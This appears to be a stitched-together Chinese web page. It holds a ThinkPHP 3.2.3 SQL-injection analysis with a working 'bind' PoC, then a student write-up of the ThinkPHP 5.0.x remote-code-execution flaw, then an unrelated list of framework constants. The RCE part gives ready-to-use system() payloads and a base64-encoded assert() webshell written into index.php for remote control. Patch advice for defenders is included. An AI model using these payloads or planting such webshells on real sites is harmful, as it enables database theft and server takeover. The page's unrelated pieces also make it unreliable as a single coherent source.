要描述
thinkphp是国内著名的php开发框架,有完善的开发文档,基于MVC架构,其中Thinkphp3.2.3是目前使用最广泛的thinkphp版本,虽然已经停止新功能的开发,但是普及度高于新出的thinkphp5系列,由于框架实现安全数据库过程中在update更新数据的过程中存在SQL语句的拼接,并且当传入数组未过滤时导致出现了SQL注入。
Git补丁更新
新增加了BIND表达式
漏洞详情
这个问题很早之前就注意到了,只是一直没找到更常规的写法去导致注入的产生,在挖掘框架漏洞的标准是在使用官方的标准开发方式的前提下也会产生可以用的漏洞,这样才算框架级漏洞,跟普通的业务代码漏洞是有严格界线的。
thinkphp系列框架过滤表达式注入多半采用I函数去调用think_filter
function think_filter(&$value){ if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))
有没有相关tips来达到I函数绕过呢?是可以的。
http://document.thinkphp.cn/manual_3_2.html#update_data
一般按照官方的写法,thinkphp提供了数据库链式操作,其中包含连贯操作和curd操作,在进行数据库CURD操作去更新数据的时候:
举例update数据操作。
where制定主键的数值,save方法去更新变量传进来的参数到数据库的指定位置。
public function where($where,$parse=null){ if(!is_null($parse) && is_string($where)) { if(!is_array($parse)) { $parse = func_get_args(); array_shift($parse); } $parse = array_map(array($this->db,'escapeString'),$parse); $where = vsprintf($where,$parse); }elseif(is_object($where)){ $where = get_object_vars($where); } if(is_string($where) && '' != $where){ $map = array(); $map['_string'] = $where; $where = $map; } if(isset($this->options['where'])){ $this->options['where'] = array_merge($this->options['where'],$where); }else{ $this->options['where'] = $where; } return $this; }
通过where方法获取where()链式中进来的参数值,并对参数进行检查,是否为字符串,tp框架默认是对字符串进行过滤的
public function save($data='',$options=array()) { if(empty($data)) { // 没有传递数据,获取当前数据对象的值 if(!empty($this->data)) { $data = $this->data; // 重置数据 $this->data = array(); }else{ $this->error = L('_DATA_TYPE_INVALID_'); return false; } } // 数据处理 $data = $this->_facade($data); if(empty($data)){ // 没有数据则不执行 $this->error = L('_DATA_TYPE_INVALID_'); return false; } // 分析表达式 $options = $this->_parseOptions($options); $pk = $this->getPk(); if(!isset($options['where']) ) { // 如果存在主键数据 则自动作为更新条件 if (is_string($pk) && isset($data[$pk])) { $where[$pk] = $data[$pk]; unset($data[$pk]); } elseif (is_array($pk)) { // 增加复合主键支持 foreach ($pk as $field) { if(isset($data[$field])) { $where[$field] = $data[$field]; } else { // 如果缺少复合主键数据则不执行 $this->error = L('_OPERATION_WRONG_'); return false; } unset($data[$field]); } } if(!isset($where)){ // 如果没有任何更新条件则不执行 $this->error = L('_OPERATION_WRONG_'); return false; }else{ $options['where'] = $where; } } if(is_array($options['where']) && isset($options['where'][$pk])){ $pkValue = $options['where'][$pk]; } if(false === $this->_before_update($data,$options)) { return false; } $result = $this->db->update($data,$options); if(false !== $result && is_numeric($result)) { if(isset($pkValue)) $data[$pk] = $pkValue; $this->_after_update($data,$options); } return $result; }
再来到save方法,通过前面的数据处理解析服务端数据库中的数据字段信息,字段数据类型,再到_parseOptions表达式分析,获取到表名,数据表别名,记录操作的模型名称,再去调用回调函数进入update
我们这里先直接看框架的where子单元函数,之前网上公开的exp表达式注入就是从这里分析出来的结论:
Thinkphp/Library/Think/Db/Driver.class.php
// where子单元分析 protected function parseWhereItem($key,$val) { $whereStr = ''; if(is_array($val)) { if(is_string($val[0])) { $exp = strtolower($val[0]); if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算 $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]); }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找 if(is_array($val[1])) { $likeLogic = isset($val[2])?strtoupper($val[2]):'OR'; if(in_array($likeLogic,array('AND','OR','XOR'))){ $like = array(); foreach ($val[1] as $item){ $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item); } $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')'; } }else{ $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]); } }elseif('bind' == $exp ){ // 使用表达式 $whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ // 使用表达式 $whereStr .= $key.' '.$val[1]; }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算 if(isset($val[2]) && 'exp'==$val[2]) { $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1]; }else{ if(is_string($val[1])) { $val[1] = explode(',',$val[1]); } $zone = implode(',',$this->parseValue($val[1])); $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')'; } }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算 $data = is_string($val[1])? explode(',',$val[1]):$val[1]; $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]); }else{ E(L('_EXPRESS_ERROR_').':'.$val[0]); } }else { $count = count($val); $rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; if(in_array($rule,array('AND','OR','XOR'))) { $count = $count -1; }else{ $rule = 'AND'; } for($i=0;$i<$count;$i++) { $data = is_array($val[$i])?$val[$i][1]:$val[$i]; if('exp'==strtolower($val[$i][0])) { $whereStr .= $key.' '.$data.' '.$rule.' '; }else{ $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' '; } } $whereStr = '( '.substr($whereStr,0,-4).' )'; } }else { //对字符串类型字段采用模糊匹配 $likeFields = $this->config['db_like_fields']; if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) { $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%'); }else { $whereStr .= $key.' = '.$this->parseValue($val); } } return $whereStr; }
其中除了exp能利用外还有一处bind,而bind可以完美避开了think_filter:
elseif('bind' == $exp ){ // 使用表达式 $whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ // 使用表达式 $whereStr .= $key.' '.$val[1];
这里由于拼接了$val参数的形式造成了注入,但是这里的bind表达式会引入:符号参数绑定的形式去拼接数据,通过白盒对几处CURD操作函数进行分析定位到update函数,insert函数会造成sql注入,于是回到上面的updateh函数。
Thinkphp/Library/Think/Db/Driver.class.php
/** * 更新记录 * @access public * @param mixed $data 数据 * @param array $options 表达式 * @return false | integer */ public function update($data,$options) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $table = $this->parseTable($options['table']); $sql = 'UPDATE ' . $table . $this->parseSet($data); if(strpos($table,',')){// 多表更新支持JOIN操作 $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:''); } $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:''); if(!strpos($table,',')){ // 单表更新支持order和lmit $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'') .$this->parseLimit(!empty($options['limit'])?$options['limit']:''); } $sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:''); return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); }
跟进execute函数:
public function execute($str,$fetchSql=false) { $this->initConnect(true); if ( !$this->_linkID ) return false; $this->queryStr = $str; if(!empty($this->bind)){ $that = $this; $this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind)); } if($fetchSql){ return $this->queryStr; }
这里有处对$this->queryStr进行字符替换的操作:
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
具体是什么,我这里写了一个实例:
常规的跟新数据库用户信息的操作:
Application/Home/Controller/UserController.class.php
<?phpnamespace HomeController;use ThinkController;class UserController extends Controller { public function index(){ $User = M("member"); $user['id'] = I('id'); $data['money'] = I('money'); $data['user'] = I('user'); $valu = $User->where($user)->save($data); var_dump($valu); } }
根据进来的id更新用户的名字和钱,构造一个简单一个poc
id[]=bind&id[]=1’&money[]=1123&user=liao
当走到execute函数时sql语句为:
UPDATE `member` SET `user`=:0 WHERE `id` = :1'
然后$that = $this
然后下面的替换操作是将”:0”替换为外部传进来的字符串,这里就可控了。
替换后:
明显发现之前的user
参数为:0然后被替换为了liao,这样就把:替换掉了。
后面的:1明显是替换不掉的:
那么我们将id[1]数组的参数变为0呢?
id[]=bind&id[]=0%27&money[]=1123&user=liao
果然造成了注入:
POC:
money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
修复方式
更新最新补丁
补丁地址:https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4
者介绍:Ice
国科学院安全学员,在国科学习安全课程,也参与在国科学生会安全团队中进行安全实战能力的提升。本次分享主要是针对现在一款运用极广的开发框架ThinkPHP的远程代码执行漏洞研究,希望给大家带来一些帮助。
0x00背景
ThinkPHP诞生于2006年,是一个国产开源的PHP开发框架,其借鉴了Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。ThinkPHP可在Windows和Linux等操作系统运行,支持MySql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
0x01影响范围
Thinkphp 5.0.0~ 5.0.23
0x02漏洞分析
此处漏洞出现在thinkphp用于处理HTTP请求的Request类中,其中源码存在一个method方法可以用于获取当前的请求类型。
Method方法路径:thinkphp/library/think/Request.php
IsGET、isPOST、isPUT等方法都调用了method方法来做请求类型的判断(只列出来这些,还有其他的,比如head请求、patch请求)
而在默认情况下,是有表单伪装变量的。
var_method为“表单伪装变量”,这个东西在application/config.php里面定义
里面出现了:表单请求类型伪装变量,我上官方论坛看了一下,他是这样定义的
因为html里的form表单的method属性只支持get和post两种,由于源码没有进行任何过滤的措施,我们就可以利用控制_method参数来动态调用类中的任意方法,通过控制$_POST的值来向调用的方法传递参数
在默认情况下,该变量的值为“_method”
但是我们在method方法中,将表单伪装变量对该方法的变量进行覆盖,可以实现对该类的所有函数进行调用。
在request类中,分析一下_construct析构方法
我们看见,如果析构方法中属性不存在(142行),那么就会自己调用配置文件中的default_fileter的值(所以在thinkphp5.0.10版本中,可以构造这样的一个
payload——》s=ipconfig&_mehthod=__construct$method=&filter[]=system)
但是由于thinkphp5.0.23中进行了更新,在APP类中(路径thinkphp/ library/think/App.php)中进行更新,新增设置了filter的属性值,初始化了filter的属性值,所以上个版本的覆盖文件的默认值无法被利用。
而后,我们发现在request中的param方法也调用了method方法,他用于获取当前请求的参数,传入了默认值true
这个时候我们在返回去看_method方法
当传过来的值为true时,会利用到server方法,我们再看一下这个方法
由上可知,我们传过来的参数是REQUEST_METHOD,即name为REQUEST_METHOD,而后就会去调用input方法,我们跟踪一下input方法
我们在跟踪一下getFilter方法看看
很明显这个方法执行了图中画框的代码(不为空),$this->filter被赋值给了$filter,也就是请求中的filter参数
我们在返回input方法,解析过滤器之后,我们发现执行了判断$data是否为数组,如果不是数组就可以将每个值作为一个参数用filterValue进行过滤
我们发现sever方法中的,$this->server被赋予的是一个超全局变量,那么我们就可以在调用析构方法的时候,我们也可以对$this->server的值进行覆盖
在filterValue方法中,调用了call_user_func方法导致了代码执行
这时候发现在在App类中,找到一处调用了$request->param();
在调用param方法之前,进行了未设置调度信息则进行 URL 路由检测的功能。用routeCheck方法来设置$dispatch。然后用exec方法
$config变量是通过initCommon方法中的init方法初始化的
RouteCheck方法,加载config文件导入路由配置,然后通过Route::import加载路由
我们根据路由检测规则,$method给的值不同返回的结果也会不同
Router类中的check方法控制了check函数中的$item变量也就控制了check方法最终返回的值,同时也控制了App类中的调度信息$dispath,而$dispath在App类中的run方法中被exec方法调用
这里使用了switch语句判断$dispath['type']来执行相应的代码。
之前,我们需要调用Request类中的param方法来对filter变量的覆盖。
如果$dispath['type']是controller或者是method的时候可以直接调用param方法。
当我们让$dispath['type']=function的时候,调用了invokeFunction方法, invokeFunction方法调用了bindParams方法也对param方法进行了调用。
我们控制了url中的s参数的值可以设置不同的$method,让routeCheck返回$dispath。
我们将控制的url参数s的设置为captcha,并且设置post数据
所以此时可以构造payload:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
0x03漏洞危害等级
严重
0x04漏洞利用
1、 在网页上构造payload(可以利用burp,也可以在POST上传)
(1)查看目录下的文件(ls)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
(2)查看id
(3)查看当前目录
(4)查看ip等信息(由于环境搭建在ubuntu,要用到sudo命令,所以可能查不了)
(5)这时候我们还可以更改上述payload中的
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
将其改为phpinfo,发现是可以输出关于 PHP 配置的信息
2、 利用蚁剑工具getshell
为什么使用蚁剑工具?
由于存在过滤,需要用到base64加密来使我们的一句话木马上传成功
我们知道了一定存在index.php这个文件,那么我们就对其进行修改为一句话木马的样式
利用 echo “<?php @eval($_POST[‘xss’]);?>” >index.php 进行测试
为了显示我们成功注入,我们在其中添加字段变为
echo “aaa<?php @eval($_POST[‘xss’]);?>bbb” >index.php
对引号内的进行base64,注意此时的引号不需要进行加密
经过测试,发现eval函数是注入不了的,需要替换为arrest函数才可以成功注入
所以
Echo “aaa<?php @assert($_POST['xss']);?>bbb” >index.php
最后构造出来的payload为
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > index.php
成功回显出aaabbb,说明是加入到了index.php里了
开始用蚁剑,URL地址填写我们一句话木马的位置
注意要选择char16和base64
进入界面
上传测试数据
进入容器看看效果
发现是可以的!
0x05解决方法
自动:升级到最新版本(如果是在5.0.0——5.0.23之间的)
手动:
打开/thinkphp/library/think/Request.php文件,找到method方法(约496行),修改下面代码:
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
改为:
$method = strtoupper($_POST[Config::get('var_method')]);if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);} else {
$this->method = 'POST';}
unset($_POST[Config::get('var_method')]);
0x06 使用条件
国科学院学生会是由国科学院指导开展的学员服务型组织,致力于配合国科学院完成日常工作的开展以及强化锻炼学员的自身职业素养与专业技能,下设部门有技术部和综合部。
如果你们也想提升自我,又或者是想认识这些和你们一样优秀的小伙伴,那就赶快联系指导老师并加入我们吧!
学生会信箱:
student@goktech.cn
定义常量
预定义常量是指系统内置定义好的常量,不会随着环境的变化而变化,包括:
预定义常量名说明返回值
EXT类库文件后缀例:.php
THINK_VERSION框架版本号例:5.0.20
路径常量
系统和应用的路径常量用于系统默认的目录规范,可以通过重新定义改变,如果不希望定制目录,这些常量一般不需要更改。
路径常量名说明返回值
DS当前系统的目录分隔符\
THINK_PATH框架系统目录tp5\thinkphp
ROOT_PATH框架应用根目录tp5\
APP_PATH应用目录(默认为application)tp5\public/../application/
CONF_PATH配置目录(默认为 APP_PATH) tp5\public/../application/
LIB_PATH系统类库目录(默认为 THINK_PATH.’library/’) tp5\thinkphp\library\
CORE_PATH系统核心类库目录(默认为 LIB_PATH.’think/’)tp5\thinkphp\library\think\
TRAIT_PATH系统trait目录(默认为 LIB_PATH.’traits/’)tp5\thinkphp\library\traits\
EXTEND_PATH扩展类库目录(默认为 ROOT_PATH . ‘extend/’) tp5\extend\
VENDOR_PATH三方类库目录(默认为 ROOT_PATH . ‘vendor/’)tp5\vendor\
RUNTIME_PATH应用运行时目录(默认为 ROOT_PATH.’runtime/’)tp5\runtime\
LOG_PATH应用日志目录(默认为 RUNTIME_PATH.’log/’)tp5\runtime\log\
CACHE_PATH项目模板缓存目录(默认为 RUNTIME_PATH.’cache/’)tp5\runtime\cache\
TEMP_PATH应用缓存目录(默认为 RUNTIME_PATH.’temp/’)tp5\runtime\temp\
系统常量
系统常量会随着开发环境的改变或者设置的改变而产生变化。
系统常量名说明返回值
IS_WIN是否属于Windows 环境例:bool(true)
IS_CLI是否属于命令行模式例:bool(false)
THINK_START_TIME开始运行时间(时间戳)例:float(1536032984.5087)
THINK_START_MEM开始运行时候的内存占用例:int(144528)
ENV_PREFIX环境变量配置前缀例:string(4) "PHP_"
__ROOT__ : 网站根目录地址
__APP__ : 当前项目(入口文件)地址
__GROUP__:当前分组地址
__URL__ : 当前模块地址
__ACTION__ : 当前操作地址
__SELF__ : 当前 URL 地址
__CURRENT__ : 当前模块的模板目录
ACTION_NAME : 当前操作名称
APP_PATH : 当前项目目录
APP_NAME : 当前项目名称
APP_TMPL_PATH : 项目模板目录
APP_PUBLIC_PATH :项目公共文件目录
CACHE_PATH : 项目模版缓存目录
CONFIG_PATH :项目配置文件目录
COMMON_PATH : 项目公共文件目录
DATA_PATH : 项目数据文件目录
GROUP_NAME :当前分组名称
HTML_PATH : 项目静态文件目录
IS_APACHE : 是否属于 Apache (2.1版开始已取消)
IS_CGI :是否属于 CGI模式
IS_IIS :是否属于 IIS (2.1版开始已取消)
IS_WIN :是否属于Windows 环境
LANG_SET : 浏览器语言
LIB_PATH : 项目类库目录
LOG_PATH : 项目日志文件目录
LANG_PATH : 项目语言文件目录
MODULE_NAME :当前模块名称
MEMORY_LIMIT_ON : 是否有内存使用限制
MAGIC_QUOTES_GPC : MAGIC_QUOTES_GPC
TEMP_PATH :项目临时文件目录
TMPL_PATH : 项目模版目录
THINK_PATH : ThinkPHP 系统目录
THINK_VERSION :ThinkPHP版本号
TEMPLATE_NAME :当前模版名称
TEMPLATE_PATH :当前模版路径
VENDOR_PATH : 第三方类库目录
WEB_PUBLIC_PATH :网站公共目录
TAPP_CACHE_NAME : 系统缓存文件名 2.1版本新增
*请认真填写需求信息,我们会在24小时内与您取得联系。